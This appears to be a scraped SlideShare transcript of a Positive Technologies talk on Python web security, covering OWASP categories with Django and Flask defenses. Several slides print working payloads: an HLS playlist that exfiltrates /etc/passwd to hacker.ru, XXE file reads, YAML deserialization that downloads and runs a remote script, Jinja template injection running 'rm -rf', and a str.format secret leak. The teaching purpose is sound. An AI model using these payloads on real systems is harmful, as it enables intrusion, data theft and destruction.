Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
SlideShare a Scribd company logo

1

(Un)safe Python
Tsyganov Ivan
Positive Technologies

2

About
✤ Speak at conferences
✤ Participate in
OpenSource projects
✤ Absolutely hate
frontend

3

«(Без)опасный Python», Иван Цыганов, Positive Technologies

4

«(Без)опасный Python», Иван Цыганов, Positive Technologies

5

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

6

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

7

A9
Using Components with
Known Vulnerabilities
✤ Server Side Request Forgery (SSRF)
✤ Local file read

8

A9
Using Components with
Known Vulnerabilities
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http: //hacker.ru/list.m3u8|file: ///etc/passwd
#EXT-X-ENDLIST
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://hacker.ru/reciever?

9

A9
Using Components with
Known Vulnerabilities
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http: //hacker.ru/list.m3u8|file: ///etc/passwd
#EXT-X-ENDLIST
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://hacker.ru/reciever?
127.0.0.1 - - [07/Jul/2017 22:00:44] "GET /reciever?
nobody:*:-2:-2:Unprivileged%20;User:/var/empty:/usr/bin/falsenroot:*:
0:0:System%20;Administrator:/var/root:/bin/shn HTTP/1.1" 200 -
https: //habrahabr.ru/company/mailru/blog/274855/

10

A9
Using Components with
Known Vulnerabilities
https: // www.cvedetails.com/product/18211/Djangoproject-Django.html

11

A9
Using Components with
Known Vulnerabilities
http: // www.cvedetails.com/product/18230/Python-Python.html

12

A9
Using Components with
Known Vulnerabilities
Buffer overflow in the socket.recvfrom_into function in Modules/
socketmodule.c in Python 2.5 before 2.7.7, 3.x before 3.3.4, and
3.4.x before 3.4rc1 allows remote attackers to execute arbitrary
code via a crafted string.
Publish Date : 2014-02-28
CVE-2014-1912

13

A9
Using Components with
Known Vulnerabilities
✤ Changelogs
✤ http://www.cvedetails.com/
✤ http://www.securitylab.ru/
✤ https://twitter.com/CVEnew/

14

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

15

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

16

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

17

A7
Insufficient Attack
Protection
✤ Bruteforce
✤ Undetected admin access
✤ Security scanner usage

18

A7
Insufficient Attack
Protection
✤ Bruteforce
✤ Undetected admin access
✤ Security scanner usage
✤ … and other attacks

19

A7
Attack protection
Django
✤ Logs all logins
✤ Applies rate limits
✤ Supports blacklists
✤ …
django-defender
https://github.com/kencochrane/django-defender

20

A7
INSTALLED_APPS = (

'django.contrib.admin',

'django.contrib.auth',

'django.contrib.contenttypes',

'django.contrib.sessions',

'django.contrib.sites',

...,

'defender',

)


MIDDLEWARE_CLASSES = (

'django.middleware.common.CommonMiddleware',

'django.contrib.sessions.middleware.SessionMiddleware',

'django.contrib.auth.middleware.AuthenticationMiddleware',

'defender.middleware.FailedLoginMiddleware'

)
Attack protection
Django-defenger

21

A7


urlpatterns = patterns(

(r'^admin/', include(admin.site.urls)),

(r'^admin/defender/', include('defender.urls')),
)

Attack protection
Django-defenger

22

A7
Attack protection
Flask
flask-security
https://github.com/mattupstate/flask-security
✤ Session based authentication
✤ Role management
✤ Password hashing
✤ …

23

A7
class Role(db.Model, RoleMixin):

. . .


class User(db.Model, UserMixin):
. . .


user_datastore = SQLAlchemyUserDatastore(
db, User, Role)

security = Security(app, user_datastore)



Attack protection
Flask-Security

24

A7
Attack protection
Flask-Security

25

A7


class User(db.Model, UserMixin):

id = db.Column(db.Integer, primary_key=True)

email = db.Column(db.String(255), unique=True)

password = db.Column(db.String(255))

active = db.Column(db.Boolean())

confirmed_at = db.Column(db.DateTime())

failed_login_attempts = db.Column(db.Integer(), default=0)
Attack protection
Flask-Security

26

A7
class SecureLoginForm(LoginForm):

captcha = RecaptchaField()



def show_captcha(self):

return self.user and self.user.failed_login_attempts > 4



def validate(self):

self.user = _datastore.get_user(self.email.data)

if not self.user:

return False



if not self.show_captcha():

del self._fields['captcha']



result = super().validate()

if not result:

self.user.failed_login_attempts += 1

else:

self.user.failed_login_attempts = 0

_datastore.put(self.user)

_datastore.commit()

return result
Attack protection
Flask-Security

27

A7
{% from "security/_macros.html" import render_field_with_errors, render_field %}

{% include "security/_messages.html" %}

<h1>Login </h1>

<form action="{{ url_for_security('login') }}" method="POST"
name="login_user_form">

{{ login_user_form.hidden_tag() }}

{{ render_field_with_errors(login_user_form.email) }}

{{ render_field_with_errors(login_user_form.password) }}

{{ render_field_with_errors(login_user_form.remember) }}

{% if login_user_form.show_captcha() %}
{{ render_field_with_errors(login_user_form.captcha) }}
{% endif %}
{{ render_field(login_user_form.next) }}

{{ render_field(login_user_form.submit) }}

</form>

{% include "security/_menu.html" %}
Attack protection
Flask-Security

28

A7
app.config['SECURITY_LOGIN_USER_TEMPLATE'] = 'login.html'

app.config['RECAPTCHA_PUBLIC_KEY'] = 'XXXXXXXXXXXXXXXXX'

app.config['RECAPTCHA_PRIVATE_KEY'] = 'XXXXXXXXXXXXXXXX'
. . .


security = Security(
app, user_datastore, login_form=SecureLoginForm)

Attack protection
Flask-Security

29

A7
import logging

from flask import request

from flask_login import user_logged_in





logger = logging.getLogger(__name__)



def log_login(sender, user):

logger.info(
'User %s logged in from %s',
(user.email, request.remote_addr)
)



user_logged_in.connect(log_login)

Attack protection
Flask-Security

30

A7
Insufficient Attack
Protection
✤ Bruteforce
✤ Undetected admin access
✤ Security scanner usage
✤ … and other attacks

31

A7
Attack protection
Web Application Firewall

32

A7
Attack protection
Web Application Firewall
/profile?name=<script>alert(1)</script>

33

A7
Attack protection
Web Application Firewall
/profile?name=<script>alert(1)</script>
WAF

34

A7
Attack protection
Web Application Firewall

35

A7
Insufficient Attack
Protection
✤Write and analyse logs
✤Use Web Application Firewall
✤Block hacking attempts

36

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

37

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

38

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

39

A5 Security Misconfiguration
✤ Default settings in production

40

A5
Security Misconfiguration
Used default settings

41

A5
Security Misconfiguration
Used default settings

42

A5
Security Misconfiguration
Used default settings

43

A5 Security Misconfiguration
✤ Default settings in production
✤ Traceback messages in production

44

A5
Security Misconfiguration
Hacker see traceback
@app.errorhandler(404)

def page_not_found(e):

template = '''

Dear {username}, following page not found:

<h3>{url} </h3>

'''.format(username=current_user.name, url=request.url)

return render_template_string(template), 404


45

@app.errorhandler(404)

def page_not_found(e):

template = '''

Dear {username}, following page not found:

<h3>{url} </h3>

'''.format(username=current_user.name, url=request.url)

return render_template_string(template), 404

A5
Security Misconfiguration
Hacker see traceback

46

@app.errorhandler(404)

def page_not_found(e):

template = '''

Dear {username}, following page not found:

<h3>{url} </h3>

'''.format(username=current_user.name, url=request.url)

return render_template_string(template), 404

A5
Security Misconfiguration
Hacker see traceback

47

@app.errorhandler(404)

def page_not_found(e):

template = '''

Dear {username}, following page not found:

<h3>{url} </h3>

'''.format(username=current_user.name, url=request.url)

return render_template_string(template), 404

A5
Security Misconfiguration
Hacker see traceback

48

A5 Security Misconfiguration
✤ Default settings in production
✤ Traceback messages in production
✤ Configuration errors

49

A5 Security Misconfiguration
root /your/django/project;
location / {
proxy_pass http: //django_backend;
}

50

A5 Security Misconfiguration
root /your/django/project;
location / {
try_files $uri @django;
}
location @django {
proxy_pass http: //django_backend;
}

51

A5 Security Misconfiguration
GET http: //yoursite.com/manage.py
$ tree /your/django/project
|
+ -- media
+---- style.css
+ -- application
+---- __init__.py
+---- settings.py
+---- urls.py
+---- wsgi.py
+ -- manage.py

52

A5 Security Misconfiguration
location /media {
alias /your/django/project/media;
}
location /static {
alias /your/django/project/static;
}
location / {
proxy_pass http: //django_backend;
}

53

A5 Security Misconfiguration
rewrite ^/(.*)/some$ /$1/ last;

54

A5 Security Misconfiguration
rewrite ^/(.*)/some$ /$1/ last;
. . .
location ~* ^/proxy/(?<p_proto>https?)/(?<p_host>.*?)/(?<p_path>.*)$ {
internal;
proxy_pass $p_proto://$p_host/$p_path ;
proxy_set_header Host $p_host;
}

55

A5 Security Misconfiguration
https: //your_site.com/proxy/https/evil.com/login/some
rewrite ^/(.*)/some$ /$1/ last;
location ~* ^/proxy/(?<p_proto>https?)/(?<p_host>.*?)/(?<p_path>.*)$ {
internal;
proxy_pass $p_proto://$p_host/$p_path ;
proxy_set_header Host $p_host;
}

56

A5 Security Misconfiguration
https: //your_site.com/proxy/https/evil.com/login/some
https: //evil.com/login
rewrite ^/(.*)/some$ /$1/ last;
location ~* ^/proxy/(?<p_proto>https?)/(?<p_host>.*?)/(?<p_path>.*)$ {
internal;
proxy_pass $p_proto://$p_host/$p_path ;
proxy_set_header Host $p_host;
}

57

A5 Security Misconfiguration
https: //your_site.com/proxy/https/evil.com/login/some
https: //evil.com/login
rewrite ^/(.*)/some$ /$1/ last;
location ~* ^/proxy/(?<p_proto>https?)/(?<p_host>.*?)/(?<p_path>.*)$ {
internal;
proxy_pass $p_proto://$p_host/$p_path ;
proxy_set_header Host $p_host;
}

58

A5 Security Misconfiguration
https: //github.com/yandex/gixy
✤ Server Side Request Forgery
✤ HTTP Splitting
✤ Problems with referrer/origin validation
✤ Redefining of response headers by"add_header" directive
✤ Request's Host header forgery
✤ none in valid_referers
✤ Multiline response headers
GIXY

59

A5 Security Misconfiguration
✤ Read documentation
✤ Use tools to check your configs
✤ Separate production/development env

60

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

61

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

62

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

63

A1
Injection
XML

64

Injection
XML
A1
from lxml import etree

user_xml = '''<?xml version="1.0"?>

<notifications>

<messages>disabled </messages>

<call>enabled </call>

</notifications>

'''

tree = etree.fromstring(user_xml)

for setting in tree.xpath('/notifications /*'):

if setting.text not in ('enabled', 'disabled'):

raise ValueError(

"Incorrect value '{}'".format(value)

)

. . .

65

Injection
XML
A1
from lxml import etree



user_xml = '''<?xml version="1.0"?>

<!DOCTYPE root [ <!ENTITY passwd SYSTEM "file: ///etc/passwd">]>

<notifications>

<messages>&passwd; </messages>

<call>enabled </call>

</notifications>

'''
tree = etree.fromstring(user_xml)

for setting in tree.xpath('/notifications /*'):

if setting.text not in ('enabled', 'disabled'):

raise ValueError(

"Incorrect value ‘{}’".format(value)

)

. . .

66

Injection. XML.A1
from lxml import etree



user_xml = '''<?xml version="1.0"?>

<!DOCTYPE root [ <!ENTITY passwd SYSTEM "file: ///etc/passwd">]>

<notifications>

<messages>&passwd; </messages>

<call>enabled </call>

</notifications>

'''
tree = etree.fromstring(user_xml)

for setting in tree.xpath('/notifications /*'):

if setting.text not in ('enabled', 'disabled'):

raise ValueError(

"Incorrect value ‘{}’".format(value)

)

. . .
Traceback (most recent call last):
File «pycon_example.py", line 53, in <module>
"Incorrect value '{}'".format(setting.text)
ValueError: Incorrect value ' ##
# User Database
#
# Note that this file is consulted directly only when the
system is running
# in single-user mode. At other times this information is
provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional
information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false

67

Injection
XML
A1
from lxml import etree



user_xml = '''<?xml version="1.0"?>

<!DOCTYPE root [ <!ENTITY passwd SYSTEM "file: ///etc/passwd">]>

<notifications>

<messages>&passwd; </messages>

<call>enabled </call>

</notifications>

'''
tree = etree.fromstring(

user_xml, parser=etree.XMLParser(resolve_entities=False)

)
for setting in tree.xpath('/notifications /*'):

if setting.text not in ('enabled', 'disabled'):

raise ValueError(

"Incorrect value '{}'".format(value)


68

Injection. XML.A1
from lxml import etree



user_xml = '''<?xml version="1.0"?>

<!DOCTYPE root [ <!ENTITY passwd SYSTEM "file: ///etc/passwd">]>

<notifications>

<messages>&passwd; </messages>

<call>enabled </call>

</notifications>

'''
tree = etree.fromstring(user_xml)

for setting in tree.xpath('/notifications /*'):

if setting.text not in ('enabled', 'disabled'):

raise ValueError(

"Incorrect value ‘{}’".format(value)

)

. . .
Traceback (most recent call last):
File "pycon_example.py", line 53, in <module>
"Incorrect value '{}'".format(setting.text)
ValueError: Incorrect value 'None'

69

https: //hackerone.com/reports/99279

70

A1
Injection
YAML

71

Injection
YAML
A1
user_input = '''

key: value

'''

data = yaml.load(user_input)

72

Injection
YAML
A1
user_input = '''

key: value

'''

data = yaml.load(user_input)
{'key': 'value'}

73

Injection
YAML
A1
user_input = '''

key: !!python/name:yaml.__version__

'''

data = yaml.load(user_input)

74

Injection
YAML
A1
user_input = '''

key: !!python/name:yaml.__version__

'''

data = yaml.load(user_input)
{'key': '3.11'}

75

Injection
YAML
A1
user_input = '''

key: !!python/object/apply:subprocess.check_output

args:

- ['ping', 'ptsecurity.com', '-c 1']

'''

data = yaml.load(user_input)

76

Injection. YAML.A1
import yaml

user_input = '''

key: value

'''

data = yaml.load(user_input)
{'key': b'''
PING ptsecurity.com (109.238.242.125): 56 data bytes
64 bytes from 109.238.242.125: icmp_seq=0 ttl=58 time=9.522 ms
--- ptsecurity.com ping statistics ---
1 packets transmitted, 1 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 9.522/9.522/9.522/0.000 ms
'''}

77

Injection
YAML
A1
user_input = '''

key: !!python/object/apply:subprocess.check_output

args:

- - 'curl'

- '-o'

- '/tmp/xxx.py'

- ‘http: //coolhacker.com/exploit.py'
key2: !!python/object/apply:os.system

args:

- 'python /tmp/xxx.py'

'''
data = yaml.load(user_input)

78

Injection. YAML.A1
user_input = '''

key: !!python/object/apply:subprocess.check_output

args:

- - 'curl'

- '-o'

- '/tmp/xxx.py'

- ‘http: //coolhacker.com/exploit.py'
key2: !!python/object/apply:os.system

args:

- 'python3 /tmp/xxx.py’

'''
data = yaml.load(user_input)
> curl http: //target.com:8000/cat%20/etc/passwd
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false

79

Injection
YAML
A1
Loading YAML
Warning: It is not safe to call yaml.load with
any data received from an untrusted source!
yaml.load is as powerful as pickle.load and so
may call any Python function. Check the
yaml.safe_load function though.

80

Injection
YAML
A1
user_input = '''

key: !!python/name:yaml.__version__

'''

data = yaml.safe_load(user_input)

81

Injection
YAML
A1
user_input = '''

key: !!python/name:yaml.__version__

'''

data = yaml.safe_load(user_input)
yaml.constructor.ConstructorError: could not determine a constructor for the tag
'tag:yaml.org,2002:python/name:yaml.__version__'
in "<unicode string>", line 1, column 6:
key: !!python/name:yaml.__version__

82

A1
Injection
Templates

83

Injection
Templates
A1
from flask import render_template_string

user = 'Admin'
template = 'Hello, %s!' % user

render_template_string(template)

84

Injection
Templates
A1
user = "{{ '' }}"

template = 'Hello, {}!'.format(user)

85

Injection. Templates.A1
user = "{{''}}"
template = ‘Hello, %s!' % user
Hello, !

86

Injection
Templates
A1
user = "{{ ''.__class__ }}"

template = 'Hello, {}!'.format(user)

87

Injection. Templates.A1
user = "{{''}}"
template = ‘Hello, %s!' % user
Hello, <class 'str'>!

88

Injection
Templates
A1
user = "{{ ''.__class__.__base__.__subclasses__() }}"

template = 'Hello, {}!'.format(user)

89

Injection. Templates.A1
user = "{{''}}"
template = ‘Hello, %s!' % user
Hello, [
<class 'property'>,
<class 'operator.itemgetter'>,
<class 'builtin_function_or_method'>,
<class '_thread._localdummy'>,
<class 'flask.sessions.SessionMixin'>,
<class 'inspect._empty'>,
<class 'click.parser.OptionParser'>,
<class '_frozen_importlib_external.FileLoader'>,
<class 'itsdangerous.Serializer'>,
<class 'tarfile._StreamProxy'>,
<class 'codeop.CommandCompiler'>,
<class 'werkzeug.wrappers.AcceptMixin'>,
<class 'codecs.StreamRecoder'>,
<class 'fieldnameiterator'>,
<class 'ctypes.CDLL'>,
…

90

Injection. Templates.A1
user = "{{''}}"
template = ‘Hello, %s!' % user
Hello, [
<class 'property'>,
<class 'operator.itemgetter'>,
<class 'builtin_function_or_method'>,
<class '_thread._localdummy'>,
<class 'flask.sessions.SessionMixin'>,
<class 'inspect._empty'>,
<class 'click.parser.OptionParser'>,
<class '_frozen_importlib_external.FileLoader'>,
<class 'itsdangerous.Serializer'>,
<class 'tarfile._StreamProxy'>,
<class 'codeop.CommandCompiler'>,
<class 'werkzeug.wrappers.AcceptMixin'>,
<class 'codecs.StreamRecoder'>,
<class 'fieldnameiterator'>,
<class ‘ctypes.CDLL’>,
…

91

Injection
Templates
A1
user = """

{% for item in x.__class__.__base__.__subclasses__() %}

{% if item.__name__ == 'FileLoader' %}

{{ item.__hash__.__globals__['__builtins__']['open']('/etc/passwd')}}

{% endif %}

{% endfor %}

"""



template = 'Hello, {}!'.format(user)

92

Injection. Templates.A1
user = "{{''}}"
template = ‘Hello, %s!' % user
Hello, [
. . .
'# Open Directory.n',
' ##n',
'nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/
falsen',
'root:*:0:0:System Administrator:/var/root:/bin/shn',
. . .
]

93

Injection
Templates
A1
user = """

{% for item in x.__class__.__base__.__subclasses__() %}

{% if item.__name__ == 'FileLoader' %}

{{

item.__hash__.__globals__['__builtins__']['eval']("


__import__('os').system('rm -rf . /*', shell=True)

")

}}

{% endif %}

{% endfor %}
"""



template = 'Hello, {}!’.format(user)

94

Injection
Templates
A1
template = Template("Hello, {{ user }}.")

template.render(
Context({"user": "Admin"})
)
return render_template_string(
'Hello, {{ user }}.',
user='Admin'
)


95

https: //hackerone.com/reports/125980

96

A1
Injection
str.format

97

Injection
str.format
A1
CONFIG = {'SECRET_KEY': 'MY_SUPER_SECRET_KEY'}
class LogEntry:

def __init__(self, id, time, msg):

self.id = id

self.time = time

self.msg = msg



def format_log(format_, value):

assert isinstance(value, LogEntry), 

'value must be LogEntry'



return format_.format(entry=value)


98

Injection
str.format
A1
entry = LogEntry(
id=1, time=time.time(), msg='System loaded')

print(format_log('{entry.id}: {entry.msg}', entry))

>>> 1: System loaded

99

Injection
str.format
A1
entry = LogEntry(
id=1, time=time.time(), msg='System loaded')

print(format_log(
'{entry.__init__.__globals__[CONFIG]}', entry
))

>>>

100

Injection
str.format
A1
entry = LogEntry(
id=1, time=time.time(), msg='System loaded')

print(format_log(
'{entry.__init__.__globals__[CONFIG]}', entry
))

>>> {'SECRET_KEY': 'MY_SUPER_SECRET_KEY'}

101

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

102

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

103

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

104

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

105

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

106

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

107

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

108

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

109

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

110

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

111

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

112

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

113

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

114

OWASP TOP 10 2017
A1 Injection A2 Broken Authentication and Session
Management
A3 XSS A4 Broken Access
Control A5 Security Misconfiguration
A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure
A8 CSRF A9 Components with
Vulnerabilities
A10 Underprotected
APIs

115

Thank you!
mi.0-0.im

More Related Content

«(Без)опасный Python», Иван Цыганов, Positive Technologies

  • 2. About ✤ Speak at conferences ✤ Participate in OpenSource projects ✤ Absolutely hate frontend
  • 5. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 6. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 7. A9 Using Components with Known Vulnerabilities ✤ Server Side Request Forgery (SSRF) ✤ Local file read
  • 8. A9 Using Components with Known Vulnerabilities #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http: //hacker.ru/list.m3u8|file: ///etc/passwd #EXT-X-ENDLIST #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://hacker.ru/reciever?
  • 9. A9 Using Components with Known Vulnerabilities #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http: //hacker.ru/list.m3u8|file: ///etc/passwd #EXT-X-ENDLIST #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://hacker.ru/reciever? 127.0.0.1 - - [07/Jul/2017 22:00:44] "GET /reciever? nobody:*:-2:-2:Unprivileged%20;User:/var/empty:/usr/bin/falsenroot:*: 0:0:System%20;Administrator:/var/root:/bin/shn HTTP/1.1" 200 - https: //habrahabr.ru/company/mailru/blog/274855/
  • 10. A9 Using Components with Known Vulnerabilities https: // www.cvedetails.com/product/18211/Djangoproject-Django.html
  • 11. A9 Using Components with Known Vulnerabilities http: // www.cvedetails.com/product/18230/Python-Python.html
  • 12. A9 Using Components with Known Vulnerabilities Buffer overflow in the socket.recvfrom_into function in Modules/ socketmodule.c in Python 2.5 before 2.7.7, 3.x before 3.3.4, and 3.4.x before 3.4rc1 allows remote attackers to execute arbitrary code via a crafted string. Publish Date : 2014-02-28 CVE-2014-1912
  • 13. A9 Using Components with Known Vulnerabilities ✤ Changelogs ✤ http://www.cvedetails.com/ ✤ http://www.securitylab.ru/ ✤ https://twitter.com/CVEnew/
  • 14. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 15. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 16. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 17. A7 Insufficient Attack Protection ✤ Bruteforce ✤ Undetected admin access ✤ Security scanner usage
  • 18. A7 Insufficient Attack Protection ✤ Bruteforce ✤ Undetected admin access ✤ Security scanner usage ✤ … and other attacks
  • 19. A7 Attack protection Django ✤ Logs all logins ✤ Applies rate limits ✤ Supports blacklists ✤ … django-defender https://github.com/kencochrane/django-defender
  • 20. A7 INSTALLED_APPS = (
 'django.contrib.admin',
 'django.contrib.auth',
 'django.contrib.contenttypes',
 'django.contrib.sessions',
 'django.contrib.sites',
 ...,
 'defender',
 ) 
 MIDDLEWARE_CLASSES = (
 'django.middleware.common.CommonMiddleware',
 'django.contrib.sessions.middleware.SessionMiddleware',
 'django.contrib.auth.middleware.AuthenticationMiddleware',
 'defender.middleware.FailedLoginMiddleware'
 ) Attack protection Django-defenger
  • 21. A7 
 urlpatterns = patterns(
 (r'^admin/', include(admin.site.urls)),
 (r'^admin/defender/', include('defender.urls')), )
 Attack protection Django-defenger
  • 22. A7 Attack protection Flask flask-security https://github.com/mattupstate/flask-security ✤ Session based authentication ✤ Role management ✤ Password hashing ✤ …
  • 23. A7 class Role(db.Model, RoleMixin):
 . . . 
 class User(db.Model, UserMixin): . . . 
 user_datastore = SQLAlchemyUserDatastore( db, User, Role)
 security = Security(app, user_datastore)
 
 Attack protection Flask-Security
  • 25. A7 
 class User(db.Model, UserMixin):
 id = db.Column(db.Integer, primary_key=True)
 email = db.Column(db.String(255), unique=True)
 password = db.Column(db.String(255))
 active = db.Column(db.Boolean())
 confirmed_at = db.Column(db.DateTime())
 failed_login_attempts = db.Column(db.Integer(), default=0) Attack protection Flask-Security
  • 26. A7 class SecureLoginForm(LoginForm):
 captcha = RecaptchaField()
 
 def show_captcha(self):
 return self.user and self.user.failed_login_attempts > 4
 
 def validate(self):
 self.user = _datastore.get_user(self.email.data)
